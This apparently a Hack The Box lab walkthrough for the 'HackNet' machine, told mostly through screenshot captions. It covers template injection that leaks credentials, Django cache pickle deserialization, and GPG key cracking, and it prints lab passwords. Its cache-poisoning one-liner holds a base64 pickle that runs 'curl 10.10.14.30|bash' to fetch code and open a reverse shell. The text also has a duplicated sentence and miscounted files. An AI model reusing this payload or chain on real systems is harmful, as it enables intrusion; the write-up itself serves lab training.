Hack The Box: HackNet Machine Walkthrough – Medium Diffucility
Medium MachineIntroduction to HackNet:

In this writeup, we will explore the “HackNet” machine from Hack The Box, categorized as an Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “HackNet” machine from Hack The Box by achieving the following objectives:
User Flag:
Through careful enumeration of the web application, the attacker identifies a template injection vulnerability in how certain dynamic content is rendered on the site. By injecting a crafted value into a controllable field and triggering the vulnerable rendering path (via interaction with a specific page feature), sensitive account information is exposed. This information provides valid credentials for SSH access to the target machine as a low-privileged user. Once logged in, reading the standard user flag file completes the initial compromise.
Root Flag:
From the initial foothold account, the attacker enumerates the system and discovers the web application is running with a misconfigured, world-writable cache backend. Leveraging knowledge of how the application handles cached responses and a known deserialization weakness in the framework, a malicious payload is crafted and placed in the cache location. Triggering the vulnerable code path grants code execution as a higher-privileged application user. Further enumeration reveals encrypted database backups protected by public-key cryptography; obtaining and cracking the associated private key allows decryption of the backups, which leak a high-privilege credential. Using this credential, the attacker escalates to root and retrieves the root flag.
Enumerating the Hacknet Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sC -sV -oA initial 10.129.1.244Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/hacknet]
└──╼ $cat initial.nmap
# Nmap 7.94SVN scan initiated Fri Jan 16 11:50:25 2026 as: nmap -sC -sV -oA initial 10.129.1.244
Nmap scan report for 10.129.1.244
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
|_ 256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Did not follow redirect to http://hacknet.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 16 12:05:09 2026 -- 1 IP address (1 host up) scanned in 883.95 seconds
Analysis:
- Port 22 (SSH): OpenSSH 9.2p1 (Debian 2+deb12u7) is listening
- Port 80 (HTTP): nginx 1.22.1 is running and serving content.
Web Enumeration:
Web Application Exploration:

The browser displays a fully public marketing landing page for HackNet, titled “HackNet” with the subtitle “Social network for hackers”, featuring the tagline “There is no right and wrong. There’s only fun and boring”, and offering Login or Sign Up buttons.

Visitors encounter the HackNet registration page at /register, featuring a sleek retro-themed form set against a dark pixel-art background. Key fields include an email input pre-filled with dark@hackknet.net, a username defaulting to dark, a securely masked password entry, and a bold Sign Up button that stands out prominently.

After submitting the registration form, users land on a charming pixel-art confirmation screen that proudly announces “User created” in bold retro lettering at the top.

A sleek retro pixel-art login screen welcomes users to HackNet, instantly recognizable by its dark, nostalgic design that echoes classic hacker aesthetics. Pre-populated with the email dark@hacknet.net for convenience, the form includes a securely masked password field right below, ensuring quick yet safe access.
Dashboard enumeration

Boom! Right after you smash that Sign Up button, a gloriously triumphant pixel-art victory screen explodes onto the display, blasting the massive, triumphant proclamation “User created” dead-center at the top like a fireworks finale

The browser displays the path /profile as the authenticated user profile dashboard for the account “d”, now showing a different top banner headline “New Virus Disguised as Tech Support Actually Fixes Compi” (appears truncated), while the rest of the layout remains identical: default avatar “d”, Edit profile button, sidebar navigation, empty post area with “You don’t have posts”, and New post / Send controls.

The /profile/edit page loads as the current user’s profile editing form, showing username “d” and email “d@d.net“. It features a profile picture upload field labeled “Browse… No file selected”, editable inputs for email and username, a masked password field, and a spacious bio textarea. Below these, the “Public” checkbox is ticked while “2FA” remains unchecked, and a Save button sits at the bottom.

The /explore page serves as HackNet’s lively public discovery feed, opening with a clean search bar that displays the placeholder “keyword” alongside a crisp Search button

Path /profile/9 as the public profile page of user “glitch”, featuring an anime-style avatar of a character lying down, username, short bio specializing in glitching and fault injection attacks, two posts about voltage glitching on embedded devices and exploiting glitches in video games to access server files

With the displays the path /profile/1 as the public profile page of user “cyberberghost”, featuring a sunset avatar with a bird silhouette, username, bio describing a digital nomad focused on deep web vulnerabilities, cryptography, and secure communications, two post entries about dark web marketplaces and encryption flaws

The HackNet registration form at /register greets users with a dark retro pixel-art design, featuring pre-filled email dark@hackknet.net, default username dark, a masked password field, and a striking Sign Up button.

The server responds promptly with a 200 OK status and returns a concise body containing only the word “Success” (7 bytes), confirming that the platform processed the like action successfully without any errors or redirects.
SSTI exploitation via Burp Suite

The browser displays the updated /profile/edit form after submission, showing the username field now containing the literal string {{ 7*7 }}, email d@d.net, empty profile picture upload, masked password, about textarea empty, Public checked, 2FA unchecked, and a Save button, with a success-style message “User exists” at the bottom (likely a generic or debug notice).

Burp Suite request/response view shows another POST to /profile/edit with multipart/form-data, now attempting to set the username field to {{ users }}, email d@d.net, empty picture, about textarea empty, public checked, and the response HTML snippet showing the form with the username input still displaying the literal {{ users }} (suggesting the username field itself is not vulnerable to SSTI, or rendering occurs elsewhere).
Executing the SSTI exploitation

As response for GET /likes/15 returns a short 200 OK with a generic error message inside the likes container:
— likely because the post has no likes or the like action failed to trigger a valid render (contrast with successful dumps on other post IDs).
The browser displays the /profile/edit page after another submission with username set to {{ users }}, again showing the literal {{ users }} reflected in the username field (no SSTI in this input), email d@d.net, empty picture upload, masked password, empty about textarea, Public checked, 2FA unchecked, and the same Fluffy cat headline at the top.

GET request to /likes/10 in Burp Suite returns a list of liker avatars wrapped in containers, displaying typical usernames such as “shadowmancer”, “whitehat”, and “brute_force” in their title attributes—until one entry unexpectedly reveals a full QuerySet dump: , , …, ]>

The browser displays the /profile/edit page after submitting the form with username set to {{ users.values }}, showing the literal string {{ users.values }} in the username input field (no evaluation here), email d@d.net, empty picture upload, masked password, empty about textarea, Public checked, 2FA unchecked, and a top banner headline about a cybersecurity firm hiring a cat named Fluffy.

Capture of the GET /likes/14 request reveals a familiar list of liker avatars inside

Quick form submission to /profile/edit with the username field set to {{ users.0.email }} brings the user back to the same edit page, where the username input now literally displays {{ users.0.email }}quick form submission to /profile/edit with the username field set to {{ users.0.email }} brings the user back to the same edit page, where the username input now literally displays {{ users.0.email }}
Mikey’s credentials

From /likes/23 renders a list of liker avatars in

The browser displays the /profile/edit page after submitting the form with username set to {{ users.0.password }}, showing the literal string {{ users.0.password }} reflected in the username input field (no evaluation here), email d@d.net, empty picture upload, masked password, empty about textarea, Public checked, 2FA unchecked, and a top banner headline about a cybersecurity firm hiring a cat named Fluffy.

Where one title attribute dumps the value mYd4rks1dEisH3re (clear-text password for user mikey@hacknet.htb) via the SSTI vulnerability in the liker display — the critical credential that enabled the SSH login.

Access into the machine via creds

We can read the user flag by typing the “cat user.txt” command
Escalate to root Privileges Access
Privilege Escalation:

The terminal runs sudo -l as user mikey. It first prompts for mikey’s password. After entering it, the system replies: “Sorry, user mikey may not run sudo on hacknet.” This output clearly confirms that mikey holds no sudo privileges on the machine.

It lists three accounts: root (UID 0), mikey (UID 1000, home /home/mikey), and sandy (UID 1001, home /home/sandy).
Exploring the Machine

Exploring /var/www as the web root quickly uncovers two main directories.

From the web root at /var/www/HackNet, a quick cd HackNet/ command dives into the nested project directory /var/www/HackNet/HackNet. .
Django exploitation

Under INSTALLED_APPS, standard Django contrib modules appear alongside the custom SocialNetwork app.

It defines a single ‘default’ cache entry.

Next to it sits a lengthy, auto-generated systemd-private-…-logind.service folder, a standard temporary mount created by systemd for the login manager.

Cache directory sits completely empty at that moment, the application hasn’t generated any cache files during the current session, or any existing files remain hidden or have already been cleared.

IT shows the output of ls -la in /var/tmp/django_cache, revealing the directory is owned by sandy:www-data with permissions drwxrwxrwx (777), last modified February 10, 2025, and contains a parent .

On our machine, executing git clone https://github.com/CalfCrusherer/Python-Pickle-RCE-Exploit.git pulls down the repository smoothly, creating a new folder called Python-Pickle-RCE-Exploit.

The terminal displays the output of ls inside the cloned Python-Pickle-RCE-Exploit directory, listing files including app.py, LICENCE, Pickle-PoC.py, README.md, THM_pickle_owasp10_room.py

The script defines a malicious class.

Unfortunately, the script encountered an error during execution.

Therefore, let’s create a simple Python script as shown above

Exploit script runs successfully this time, spitting out a clean base64-encoded string — the ready-to-use malicious pickle payload we can now inject into the vulnerable cache.

Cache directory /var/tmp/django_cache now contains freshly generated pickle files (such as 1f0acfe…djcache and 90dbabab…djcache) after the vulnerable view was triggered, confirming that our poisoned payload has successfully landed in the application’s file-based cache backend.

We start our listener
for i in $(ls); do rm -f $i; echo 'gASVMAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBVjdXJsIDEwLjEwLjE0LjMwfGJhc2iUhZRSlC4=' |base64 -d> $i; chmod 777 $i; doneTo poison the Django cache directory, the attacker first runs a one-liner loop inside /var/tmp/django_cache

Click the refresh button to trigger the payload

A reverse shell connection lands successfully, dropping us straight into a fully interactive shell as user sandy on the target machine.

Running ls inside /var/www/HackNet as user sandy quickly reveals the classic Django project structure: a backups/ folder holding encrypted dumps, the main SQLite database file db.sqlite3, the inner project directory HackNet/

gpg –list-secret-keys run as sandy successfully listing the imported RSA 1024-bit secret key (ID D72E5C1FA19C12F7, created 2024-12-29, ultimate trust), with user ID “Sandy (My key for backups) <sandy@hacknet.htb>” and subkey details

Executing gpg –list-secret-keys immediately displays a single imported RSA 1024-bit secret key bearing ID D72E5C1FA19C12F7, created on December 29, 2024, and assigned ultimate trust.

The terminal displays gpg –decrypt backup01.sql.gpg run as sandy failing with “decryption failed: No secret key” and “Inappropriate ioctl for device”, indicating the secret key is not yet imported or available in sandy’s .gnupg keyring at that moment (despite being in backups directory).

The terminal displays the output of ls in /var/www/HackNet/backups as user sandy, listing four encrypted backup files: backup001.sql.gpg, backup002.sql.gpg, backup003.sql.gpg.

Transfer the file into our machinne

Command $gpg2john armored_key.asc > hash.txt being executed on the attacker machine, with the output indicating it processed the file armored_key.asc (the downloaded private key block), redirecting the resulting hash format suitable for cracking to hash.txt


The terminal displays the output of john –wordlist=rockyou.txt hash.txt –format=gpg successfully cracking the passphrase for Sandy’s armored PGP key in ~6 seconds using rockyou.txt, revealing the password sweetheart (associated with user Sandy)

We will import the asc file as shown above

Enter the creds

If successful, it will look something like what is shown above


Decrypted SQL dump from one of the .gpg backup files, revealing rows from the SocialNetwork_socialmessage table with timestamps from December 2024–2025, conversation IDs, sender/receiver user IDs, and message content including casual chat about coffee shops, project help, cat adoption advice, and notably a message (row 50) explicitly sharing the MySQL root password h4ck3rs4r3v3rywh3r3

SSH’ed into root using creds

We can read the root flag by typing “cat root.txt” command